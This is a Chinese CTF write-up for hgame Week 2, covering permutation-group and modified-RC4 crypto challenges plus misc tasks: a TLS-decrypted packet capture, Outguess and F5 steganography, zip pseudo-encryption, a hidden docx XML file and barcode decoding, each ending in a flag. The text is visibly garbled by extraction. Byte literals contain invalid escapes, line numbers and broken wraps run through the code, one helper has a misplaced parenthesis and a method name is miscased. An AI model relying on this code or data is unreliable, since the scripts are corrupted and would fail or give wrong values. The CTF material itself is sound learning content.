23     m = bin(m)[3:]
24     for _ in m:
25         y = mul(y, y)
26         if _ == '1':
27             y = mul(x, y)
28     return y
29
30 def _pow2(x, m):
31     y = x
32     m = bin(m)[3:]
33     n = 1
34     for _ in m:
35         n *= 2
36         if _ == '1':
37             n +=1
38     for _ in range(n-1):
39         y = mul(y, x)
40     return y

```

把这种 `range(256)` 的bytes当成一种数据，它们运算的结果也都在 `range(256)` 内，并且他们都满足一些特定的运算关系，构成了一个有限群（但是为非阿贝尔群，因为 `a*b == b*a` 并不恒成立）

它们有如下的运算性质：

```

1 def test():
2     import os, random
3     random.seed(os.urandom(8))
4     def rand_list():
5         l = list(range(256))
6         random.shuffle(l)
7         return l
8     a = rand_list()
9     b = rand_list()
10    c = rand_list()
11    # a != b && a != c && b != c
12    assert a != b and a != c and b != c
13    # a * 1 = 1 * a = a
14    assert mul(a, e) == mul(e, a) == a
15    # (a * b) * c = a * (b * c)
16    assert mul(mul(a, b), c) == mul(a, mul(b, c))
17    # s = a * b
18    s = mul(a, b)
19    # s / b = a
20    assert div_l(s, b) == a
21    # s \ a = b

```

```

22     assert div_r(s, a) == b
23     # _a = a^-1
24     _a = inverse(a)
25     # _a * a = a * _a = 1
26     assert mul(a, _a) == mul(_a, a) == e
27     # a ^ 1024 = a * a * ... * a
28     assert _pow(a, 1024) == _pow2(a, 1024)
29     # x = a ^ 100 ; y = a ^ 110
30     x = _pow(a, 100)
31     y = _pow(a, 110)
32     # y / x = y \ x = a ^ 10
33     assert div_l(y, x) == div_r(y, x) == _pow(a, 10)
34     # a ^ -123 * a ^ 321 = a ^ (321 - 123) = a ^ 321 - a ^ 123
35     assert mul(inverse(_pow(a, 123)), _pow(a, 321)) == _pow(a, 321-123) ==
36     div_l(_pow(a, 321), _pow(a, 123))
37

test()

```

这样就把问题变成了，已知 s^{595} 和 s^{739} 的值，求 s 。初中数学题（然而我是拿来凑的。。）

```

1 # _pow(s, 595)
2 # _pow(s, 739)
3 s_595 = list(b'\xc8&\xc1E\xbe*\xc5\x84\xdb1\x05\x9b\xc0\xf2\xac/\x0b0\x8d
4 \xc2b\x89\x93\xa6\xcd\xe1\x1b\xf4H\xffa\x90A\xf7,(\xea?\xa8\xa0\x8b\xf1
5 \xf9"X\n\x86fj\x074\x7fB0\xd4F\xbd\xe6\xd9\xa7\xaf\x8a\x8c\xde\xab;!PT\x1
6 5)+w\xbc\x00>\xc6g\xc3\x85=9K\xb6<\xb7\xaeUG\x83vk\x9a9\xf6{\x03Y\x87\x14
7 e\xfd\xed@i\xcc.\xd1\xeb0\x106\xe2\xe7\xd7\xeeu\x9e\xfe\x95^R\xfb8\x04\xb
8 4S\x16\xe0\xad\xd8\x98n\xca\xe4\xdd\xd2\xc7\x991\xb3\\2L\x93\x1d:_\x12\xb
9 87\x17\x01\xb1#~q\x1c\t\xe8\xdar\xef\xcb\x0c\xe5\x80\xdf\xc9y\x0e`\xe9\x9
10 4\xd0\xcfW\x1f5\xf5h\xbf\xba\x91\xb9d\xfcM\x81\xec\x88\xb2c\x9f\x94J\xd3
11 m\xd6s\xd5\x92\x9d\x9a3\x9a2\xb5\xfa\x19N\x91\x82] [\xf8\x06\x13\xdcC\x1e\x
12 1a\xaa\xc4tz\x08\x8f%$D\xbb\x97 \xce\x96V\xe3\x02I\x18\x11\x0f\r\xf3p\x8e
13 \xa5Z-\xf0}\xb0Q\x9c')
14 s_739 = list(b'U\x17\x8aE\x9a6\x19\xab\x7fd0\xd2)\xc0\xae\xcc/G_\xe3\'\r\x
15 fb\xaf\x00\xb1hgi-\xc1\xffa\x8d\t&\x99k\x95\x93\x9a8.\x07\xcd\x87\x01\xe8\x
x89\x86\xf6f48F\xdc\x96\xd4`P\xd6!\xfe\xc4B:\xd31C\x9f\x1dT{2c9\x0bY5#\xf
7\xb8H\xe0Db\xb6wv\xe1\xbbI\x8f\x831\x80\x9a9\x04q\x03\xf0m\xf4\x1bp\x8e\x
c6u\xfd\x16$\x06\xf9Z\xec\x9a2\xcb\xd7V\xb9\xd1\xbd\t^\\xe7\xe2\xac\x18\xb4\x
15=n\xad\xd8S+\x9a\xeb\xdd\xd0;\x84\xe6\x08\x8c3\xb3\x90\x02\xc8}\xee\xe
a7K\x98\xde\x8b~\xcf\xfa\x11\n\xda\x94L\x93\x0cWQ\xdf\xc9yj\x9d\xe9\xfcJ0
\x1a\x1f\xdb\xf5M\xbf\x9e e\x1c*\x9b\x85\xe5\x88\xb2\xc7\xf2\x91\x10\x0e,
\xd9< s\xd5\xef\xb0@\x9c3\xbc(\xb5"\xa1\x82\x97[\xf8A\x13\x14\xc2\x1eN\xaa
o\xedr\xba\xce]\x92\x05\x97\x12\xc5%\\x7>R\x9a\x94\x0fX\xf3\xbe?\xa5\x
e4\x9a\x0z\xf16\x81\x9c')

```

```

s_144 = div_l(s_739, s_595)
s_163 = div_l(s_595, _pow(s_144, 3))
s_19 = div_l(s_595, _pow(s_144, 4))

```

```

s_11 = div_l(s_163, _pow(s_19, 8))
s_8 = div_l(s_19, s_11)
s_3 = div_l(s_739, _pow(s_8, 92))
s_2 = div_l(s_739, _pow(s_11, 67))
s = div_l(s_3, s_2)
# 验证s正确性
assert _pow(s, 595) == s_595

```

求出s, 接着计算

```

1 | f = list(b"\\"-\xa5{\xb9\x85} @\xfa\x91\x0b\x88\r4I\x7f\xb9\xe5\r\xc0\x84\
2 | \x8f\xa6\xc0i\xb0\x4\x1b\x8fIw\x84'\xa2\x4\x00\x91\x87\x10\r\\x8c\x12")
3 | flag = bytes([s.index(_) for _ in f])
   | print(flag.decode())

```

拿到flag: hgame{U_kN0w~tH3+eXtEnD-EuC1iD34n^A1G0rIthM}

notRC4

魔改的RC4_MD5算法，去WIKI上现学了一波。

(当然第一步还是要把恶心的变量名给重命名回正常的。。。)

```

1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | from hashlib import md5
4 |
5 | flag = b''
6 |
7 | # assert flag.startswith(b'hgame') and flag.endswith(b')
8 |
9 | class notRC4:
10 |     def __init__(self):
11 |         self.S = [0] * 256
12 |         for i in range(256):
13 |             self.S[i] = i
14 |             # self.S = [0,1,2,3,4,5,6,...,255]
15 |         self._i = 0
16 |         self._j = 0
17 |         self.T = [0] * 256
18 |
19 |     def KSA(self, K):
20 |         l = len(K)          # 8
21 |         for i in range(256):
22 |             self.T[i] = K[i%l]
23 |             # self.T = K * 32
24 |             for i in range(256):

```

```

25         self._j = (self._j + self.S[i] + self.T[i]) % 256
26         # swap
27         self.S[i], self.S[self._j] = self.S[self._j], self.S[i]
28         self._i = self._j = 0
29
30     def PRGA(self, length):
31         O = []
32         for _ in range(length):
33             self._i = (self._i + 1) % 256
34             self._j = (self._j + self.S[self._i]) % 256
35             self.S[self._i], self.S[self._j] = self.S[self._j], self.S[se
36             lf._i]
37             t = (self.S[self._i] + self.S[self._j]) % 256
38             O.append(self.S[t])
39         print(self.S)
40         return O
41
42     def xor(s1, s2):
43         return bytes(map(lambda x: x[0]^x[1]), zip(s1, s2))
44
45     def enc(msg):
46         X = notRC4()
47         X.KSA(md5(msg).digest()[:8])
48         R = X.PRGa(len(msg))
49         return xor(msg, R)
50
# print( enc(flag) )

```

WIKI上的RC4生成流密钥算法

```

1 i = j = 0
2 for each message byte b
3     i = (i + 1) (mod 256)
4     j = (j + S[i]) (mod 256)
5     swap(S[i], S[j])
6     t = (S[i] + S[j]) (mod 256)
7     print S[t]

```

然后题目已经把最终的S告诉了我们了，所以其实只要枚举一下 i, j ，然后根据已知的明文很快就能求出stream_key拿到明文。

```

1
2     def xor(s1, s2):
3         return bytes(map(lambda x: x[0]^x[1]), zip(s1, s2))
4
5
6     sBox = [219, 96, 199, 216, 68, 104, 66, 149, 157, 180, 15, 106, 225, 2, 2

```

```

7  45, 126, 218, 130, 67, 1, 117, 127, 37, 60, 78, 236, 38, 16, 217, 107, 17
8  3, 46, 194, 211, 204, 124, 65, 14, 85, 227, 110, 244, 249, 220, 97, 241,
9  19, 143, 251, 49, 252, 152, 45, 36, 129, 34, 237, 54, 174, 48, 183, 12, 7
10 1, 209, 9, 56, 231, 188, 153, 86, 98, 178, 73, 135, 3, 95, 43, 77, 40, 84
11 , 223, 72, 89, 101, 42, 248, 166, 120, 138, 91, 160, 198, 203, 28, 247, 1
12 23, 41, 132, 139, 133, 147, 235, 207, 62, 151, 87, 51, 136, 0, 169, 102,
13 27, 170, 100, 39, 99, 134, 242, 61, 184, 64, 25, 21, 116, 243, 11, 221, 1
14 76, 35, 18, 215, 53, 88, 20, 163, 59, 125, 190, 4, 197, 32, 195, 212, 17,
15 191, 144, 145, 80, 108, 5, 103, 214, 142, 161, 93, 201, 140, 7, 79, 187,
16 192, 50, 205, 69, 22, 200, 111, 232, 185, 239, 70, 94, 228, 105, 229, 20
17 6, 24, 148, 168, 165, 23, 181, 10, 213, 238, 119, 122, 115, 155, 112, 141
18 , 233, 175, 109, 113, 75, 8, 172, 230, 47, 162, 58, 208, 159, 210, 158, 2
19 26, 83, 246, 44, 193, 90, 29, 240, 179, 52, 63, 57, 254, 74, 222, 156, 82
20 , 30, 114, 182, 255, 186, 150, 118, 146, 81, 224, 189, 202, 164, 121, 55,
21 177, 167, 137, 234, 33, 31, 131, 92, 6, 13, 250, 76, 128, 171, 196, 26,
22 253, 154]
23 cipher = b"\x afsjg\xc9%\xae\xff\xb4\xf1\xde\x83m\xbe\x18r\xbe\x19'\x1d
24 |\x7f2j\xb9^\xc7\xcd+\x9b9\xd5\xe5\xba8\xe2\x11\x92\x02\xd2E\x1fZIz*\x15"
25
26
27 from copy import deepcopy
28
29 def f(S, i, j, l):
30     O = []
31     for _ in range(l):
32         t = (S[i] + S[j]) % 256
33         O.append(S[t])
34         S[i], S[j] = S[j], S[i]
35         j = (j - S[i]) % 256
36         i = (i - 1) % 256
37     O.reverse()
38     return O

39 for i in range(256):
40     for j in range(256):
41         s = deepcopy(sBox)
42         o = f(s, i, j, len(cipher))
43         m = xor(cipher, o)
44         if b'hgame{' in m:
45             print(m)
46             exit(0)
47
48 # hgame{oo000000~_reVeRse_The~prg4_0f+rc4~-o000000o0}

```


Week2 Crypto AK

0x04 Misc

Cosmos的午餐

这题真的好绕啊。。

先压缩包打开，是wireshark的抓包文件和一个TLS密钥文件，于是打开wireshark并导入ssl_log.log文件



然后filter出来HTTP流量，大小从高到低排下来

No.	Time	Source	Destination	Protocol	Length	Info
6103	110.8.18507	192.168.146.132	52.216.179.187	HTTP	8291	PUT /534d46e63462e9032827eb34f8ad713920200118125937/e418689cfbcc624a45f53e32ffe31f8b1
1480	22.998037	192.168.146.132	18.233.176.127	HTTP	2014	POST /events/bulk/5b82f23280914154b163996e HTTP/1.1 (application/json)
4649	96.196067	192.168.146.132	52.19.199.93	HTTP	1826	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 (application/json)
1561	24.069536	192.168.146.132	18.233.176.127	HTTP	1322	POST /events/bulk/5b82f23280914154b163996e HTTP/1.1 (application/json)
4404	73.248301	192.168.146.132	54.243.177.29	HTTP	1321	GET /p/eyJ2IjoiMS4zIiwiYXYi0jQyODkyMSwiYXQi0jIwLCJidCI6MCwiY20i0jg40TgyMSwiY2gi0jM00T
1274	22.065786	192.168.146.132	52.19.199.93	HTTP	1290	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 (application/json)
6738	114.991717	192.168.146.132	54.243.177.29	HTTP	1289	GET /p/eyJ2IjoiMS4zIiwiYXYi0jQyODkyMSwiYXQi0jIwLCJidCI6MCwiY20i0jg40TgyMSwiY2gi0jM00T
3151	35.215615	192.168.146.132	54.243.177.29	HTTP	1236	GET /p/eyJ2IjoiMS4zIiwiYXYi0jQyODkyMSwiYXQi0jIwLCJidCI6MCwiY20i0jg40TgyMSwiY2gi0jM00T
6638	114.735103	192.168.146.132	54.243.177.29	HTTP	1212	GET /i.gif?e=eyJ2IjoiMS4zIiwiYXYi0jQyODkyMSwiYXQi0jk10SwiYnQiojAsImNtIjoxMzE30DAzLCJj
4396	72.987756	192.168.146.132	54.243.177.29	HTTP	1212	GET /i.gif?e=eyJ2IjoiMS4zIiwiYXYi0jQyODkyMSwiYXQi0jk10SwiYnQiojAsImNtIjoxMzE30DAzLCJj
1540	23.744941	103.43.90.181	192.168.146.132	HTTP	1170	HTTP/1.1 202 Found
3148	34.959690	192.168.146.132	54.243.177.29	HTTP	1162	GET /i.gif?e=eyJ2IjoiMS4zIiwiYXYi0jQyODkyMSwiYXQi0jk10SwiYnQiojAsImNtIjoxMzE30DAzLCJj
1552	23.964585	103.43.90.181	192.168.146.132	HTTP	1161	HTTP/1.1 302 Found
6131	112.387467	192.168.146.132	54.243.177.29	HTTP	1149	POST /api/v2 HTTP/1.1 (application/json)
3319	67.386617	192.168.146.132	54.243.177.29	HTTP	1149	POST /api/v2 HTTP/1.1 (application/json)
1526	23.477062	192.168.146.132	54.243.177.29	HTTP	1149	POST /api/v2 HTTP/1.1 (application/json)
4901	107.009254	192.168.146.132	52.19.199.93	HTTP	1124	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 (application/json)
4528	92.377965	192.168.146.132	52.19.199.93	HTTP	1124	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 (application/json)
4427	77.299929	192.168.146.132	52.19.199.93	HTTP	1124	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 (application/json)
3294	62.897055	192.168.146.132	52.19.199.93	HTTP	1124	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 (application/json)
3247	47.278030	102.168.146.132	52.19.199.93	HTTP	1124	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 (application/json)

第一个PUT就很可疑，于是HTTP导出，看文件头像是个压缩包，binwalk一下

DECIMAL	HEXADECIMAL	DESCRIPTION
0	0x0	Zip archive data, at least v2.0 to extract, compressed size: 1220448, uncompressed size: 1228922, name: Outguess with key.jpg
1220602	0x129FFA	End of Zip archive, footer length: 22

的确是zip压缩包，于是unzip解压，没有密码，得到一张图。。

看文件名应该是要Outguess解密，但是需要key。


想一下题目的hint PS: Cosmos经常往图片备注里塞东西，于是用Stegsolve打开，查看file format



```
.....  
.....  
.....  
.....  
.....K. e.y...  
g.U.N.r. b.b.d.R.  
9.X.h.R. B.D.G.p.  
Z.Z...
```

Application data
Length: 8dd (2269)
Dump of data:
Hex:


大概就是这个了，于是Outguess打开解压内容




extract出来文件里一串url: <https://dwz.cn/69r0REdu>

wget下载下来，又是一个压缩包。。

解压，幸好没有密码，然后出来一个Logo.png



看着不太像完整的二维码，抱着试一试的心态用iPhone扫了一下。。



结果可以，拿到flag。

所见即为假

根据提示，压缩包用hex editor打开

AllFake_XK2ipRXBI3Usi17r57EmawrOSYVFoie.zip x

	Edit As: Hex		Run Script		Run Template: ZIP.bt												
	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	0123456789ABCDEF
0000h:	50	4B	03	04	14	00	00	00	00	08	00	89	7B	34	50	1E	DF PK.....%{4P.B
0010h:	09	47	FE	3E	10	00	80	4B	10	00	13	00	00	00	46	4C .Gp>..EK.....FL	
0020h:	41	47	5F	49	4E	5F	50	49	43	54	55	52	45	2E	6A	70 AG_IN_PICTURE.jpg	
0030h:	67	9C	FC	57	58	53	51	D7	36	8C	AE	10	20	88	54	09 gœüWXSQx6€@. ^T.	
0040h:	12	20	14	01	A9	16	02	41	12	3A	22	BD	77	44	44	04 A.: "z wDD.	
0050h:	14	02	8A	04	A4	85	0E	0A	1A	63	E8	82	91	2A	84	5E ..Š.¤.....cè, ' * „ ^	
0060h:	44	41	40	8A	A0	40	28	D2	42	95	26	10	8A	88	48	AF DA@Š @ (ÒB•&.Š^H-	
0070h:	52	7E	9F	E7	7D	BF	FF	3B	D8	27	7B	EF	79	90	6B	E5 R~Ýç}žÿ;Ø'{iy.kå	
0080h:	9A	73	94	7B	CD	39	C7	B8	47	32	D7	3A	1D	3B	9D	01 šs" {í9ç.G2x:;..	
0090h:	38	0C	74	F4	75	00	10	00	00	A0	FF	7C	9E	9E	00	9A 8.tôu.... ž žž.š	
00A0h:	06	66	DA	BA	C2	DA	5E	2E	8F	5C	EF	F9	08	6B	3D	F2 .fÚ°ÂÚ^.. \iù.k=ð	
00B0h:	0E	F2	C1	B8	B9	3F	16	46	A0	D1	A8	4B	C2	06	77	1F .ðÁ, 1?.F Ñ''KÂ.w.	
00C0h:	DE	F3	15	B6	B8	22	6C	7B	EF	9E	A7	AF	F0	5D	2F	57 Dó.¶, "l{ižS-ð]/W	
00D0h:	E1	EB	98	47	DA	0F	EE	B9	3C	F6	79	64	7C	CF	C5	FD áé~GÚ.í¹<öyd íÅý	
00E0h:	CA	E9	04	F0	04	60	A4	67	60	64	A0	67	64	64	60	84 Êé.ð. `¤g`d gdd` "	
00F0h:	40	18	99	98	39	98	99	CF	9C	61	86	B2	B1	B3	70	F0 @.™~9~™Iœat²±³pð	
0100h:	40	61	30	1E	E8	F9	F3	7C	02	17	85	F8	F8	45	E1	E7 @a0.èùóøøEáç	
0110h:	CF	0B	5F	12	16	15	97	90	92	96	E2	15	BA	2C	7B	59 í.-'-â.°, {Y	
0120h:	52	F6	A2	A4	94	24	08	02	81	30	33	31	73	31	33	73 Röç¤"\$.031s13s	
0130h:	49	F2	9D	E7	93	FC	FF	B9	9D	36	03	9C	4C	90	23	D6 Ið.ç"üÿ¹.6.æL.#Ö	
0140h:	51	30	48	04	A0	E3	04	81	39	41	A7	AD	A0	B7	FF	60 Q0H. å..9AS- ·ÿ`	
0150h:	32	80	FE	DB	80	FF	6D	20	3A	F0	3F	5F	21	4C	67	98 2€pÛ€ÿm :ð? !Lg~	
0160h:	CF	72	00	74	20	30	98	8E	1E	CC	C0	40	4F	FF	AF	27 ïr.t 0~ž.íÀ@oÿ-'	
0170h:	F4	5F	1F	40	CF	C9	70	EE	02	42	93	91	CB	FC	2E	44 ô_.@ïÉpî.B" 'Ëü.D	
0180h:	04	0B	95	8B	4C	C8	61	12	BD	5E	D9	C2	6D	31	B0	2E ...< LÈa.½^ÙÂm1°.	

Template Results - ZIP.bt

Name	Value	Start	Size	Color
▼ struct ZIPFILERECORD record	FLAG_IN_PICTURE.jpg	0h	103F2Fh	Fg: Bg:
► char frSignature[4]	PK	0h	4h	Fg: Bg:
ushort frVersion	20	4h	2h	Fg: Bg:
ushort frFlags	0	6h	2h	Fg: Bg:
enum COMPTYPE frCompression	COMP_DEFLATE (8)	8h	2h	Fg: Bg:
DOSTIME frFileTime	15:28:18	Ah	2h	Fg: Bg:
DOSDATE frFileDate	01/20/2020	Ch	2h	Fg: Bg:
uint frCrc	4709DF1Eh	Eh	4h	Fg: Bg:

可以看到全局加密的那段标识是都为 00 00 的，所以判断是伪加密

AllFake_XK2ipRXBI3Usi17r57EmawrOSYVFoiie.zip x

Template Results - ZIP.btx

Name	Value	Start	Size	Color	
► struct ZIPFILERECORD record	FLAG_IN_PICTURE.jpg	0h	103F2Fh	Fg:	Bg:
▼ struct ZIPDIRENTRY dirEntry	FLAG_IN_PICTURE.jpg	103F2Fh	65h	Fg:	Bg:
► char deSignature[4]	PK	103F2Fh	4h	Fg:	Bg:
ushort deVersionMadeBy	31	103F33h	2h	Fg:	Bg:
ushort deVersionToExtract	20	103F35h	2h	Fg:	Bg:
ushort deFlags	0	103F37h	2h	Fg:	Bg:
enum COMPTYPE deCompression	COMP_DEFLATE (8)	103F39h	2h	Fg:	Bg:
DOSTIME deFileTime	15:28:18	103F3Bh	2h	Fg:	Bg:

于是把第二段的那个加密标识改为 00 00，成功解压。

拿到一张图片，但是看了好久试了半天没找到有用的东西。。。。

想了一下最初的压缩包有一段注释： F5 key: NllD7CQon6dBsFLr，于是想到F5也是一种隐写加密图片的手段。。

于是下载安装F5工具

```
jason@Jasons-Mbp ~/D/W/F5-steganography> java Extract ../../FLAG_IN_PICTURE.jpg
-p NllD7CQon6dBsFLr
Huffman decoding starts
Permutation starts
10911744 indices shuffled
Extraction starts
Length of embedded file: 222 bytes
(1, 127, 7) code used
jason@Jasons-Mbp ~/D/W/F5-steganography> ls                               master?
Embed.class    bin.noise      e.bat          license.txt   output.txt
Embed.java     crypt        gpl.txt       lopez.bmp     readme.md
Extract.class  d             image        ms_d.bat     sun
Extract.java   d.bat         james        ms_e.bat
Makefile        e             java         ortega
jason@Jasons-Mbp ~/D/W/F5-steganography> cat output.txt                         master?
526172211A0701003392B5E50A01050600050101808000B9527AEA2402030BA70004A70020CB5BDC
2D80000008666C61672E7478740A03029A9D6C65DFC5016867616D657B343038375E7A236D7377
33344552746F46557971704B556B32646D4C505736307D1D77565103050400%
```

得到一串hex字符串 突断Python打开

```
>>> i = b'526172211A0701003392B5E50A01050600050101808000B9527AEA2402030BA70004A7  
0020CB5BDC2D80000008666C61672E7478740A03029A9D6C65DFCED5016867616D657B343038375E  
7A236D73773344552746E46557971704B556B32646D4C505736307D1D77565103050400'  
>>> bytes.fromhex(i.decode())  
b'Rar!\x1a\x07\x01\x003\x92\xb5\xe5\n\x01\x05\x06\x00\x05\x01\x01\x80\x80\x00\xb  
9Rz\xea$\x02\x03\x0b\xa7\x00\x04\x07\x00 \xcb[\xdc-\x80\x00\x00\x08flag.txt\n\x0  
3\x02\x9a\x9d\xdf\xce\xd5\x01hgame{4087^z#msw34ERtnFuyqpKUk2dmLPW60}\x1dwVQ\x0  
3\x05\x04\x00'
```

拿到flag


地球上最后的夜晚

解压得到一份PDF文件和加密的7z文件。


PDF用wbStego4open打开，根据提示 No password，直接继续

wbStego4.3open

X



生成数据打开



拿到压缩包密码，继续解压文件，得到一份docx文件。考虑到时联系docx，基于xml打包出来的所以很容易隐藏东西在压缩包里。

于是继续用7z解压docx，解压出来了一坨东西，逐个看一下，在word文件夹里看到了 secret.xml

```
jason@Jasons-Mbp ~/D/W/L/o/word> cat secret.xml  
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<flag>hgame{mkLbn8hP2g!p9ezPHqHuBu66SeDA13u1}</flag>%
```

搞定，拿到flag。。

玩玩条码

解压看到注释 Decode JPNPostCode to get MSUStegoVideo password. 于是去解条码，在查了一遍通用常见条码之后发现是日本邮政条码，但是没有找到很明确的编码规则，又于是找了一个日邮条码生在线成器，一个个试了过去。。。

日本邮政4客户条形码制作器 - Japan Post 4 State Customer Code - 条形码生成器




输入条形码文本
1087627
例如 : 6540123789-A-K-Z

条码类型
日本邮政4客户条形码 - Japan Post 4 State Customer Code



最后试出来，和压缩包里给的条码一致，接着去解视频。

VirtualDub2（安装好MSUStegoVideo插件）打开，加载插件提取。



转码之后，在生成的文本里找到了zip密码

output.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

Zip Password: b8FFQcXsupw0zCe@

解压7z压缩包，得到另一串条形码



这个简单，在线解CODE-128条形码的网站很多

Result

Format:

CODE_128

Type:

Text

Content:

```
hgame{9h7epp1flwl3f  
OtsOenDipDzp7aH!7y}
```

The result contains not printable characters.

Hex values:

```
68 67 61 6d 65 7b 39 68 37 65 70 70 31 66 49 77 49 4c 33 66 4f 74 73 4f 41 65 6e 44 69 50 44 7a 70 37 61 48  
21 37 7d 0a
```

拿到flag

Week2 Misc Ak